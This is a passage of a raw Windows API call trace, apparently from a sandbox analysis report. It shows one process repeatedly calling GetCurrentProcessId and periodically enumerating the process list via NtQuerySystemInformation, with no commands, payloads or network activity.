GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.994] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0272.995] GetCurrentProcessId () returned 0xbf4 [0273.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0273.600] GetCurrentProcessId () returned 0xbf4 [0273.600] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.601] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.602] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.603] GetCurrentProcessId () returned 0xbf4 [0273.604] GetCurrentProcessId () returned 0xbf4 [0274.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0274.114] GetCurrentProcessId () returned 0xbf4 [0274.114] GetCurrentProcessId () returned 0xbf4 [0274.114] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.115] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.116] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.117] GetCurrentProcessId () returned 0xbf4 [0274.118] GetCurrentProcessId () returned 0xbf4 [0274.118] GetCurrentProcessId () returned 0xbf4 [0274.118] GetCurrentProcessId () returned 0xbf4 [0274.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0274.636] GetCurrentProcessId () returned 0xbf4 [0274.636] GetCurrentProcessId () returned 0xbf4 [0274.636] GetCurrentProcessId () returned 0xbf4 [0274.636] GetCurrentProcessId () returned 0xbf4 [0274.636] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.637] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.638] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.639] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0274.640] GetCurrentProcessId () returned 0xbf4 [0275.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.151] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.152] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.153] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.154] GetCurrentProcessId () returned 0xbf4 [0275.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.664] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] GetCurrentProcessId () returned 0xbf4 [0275.665] 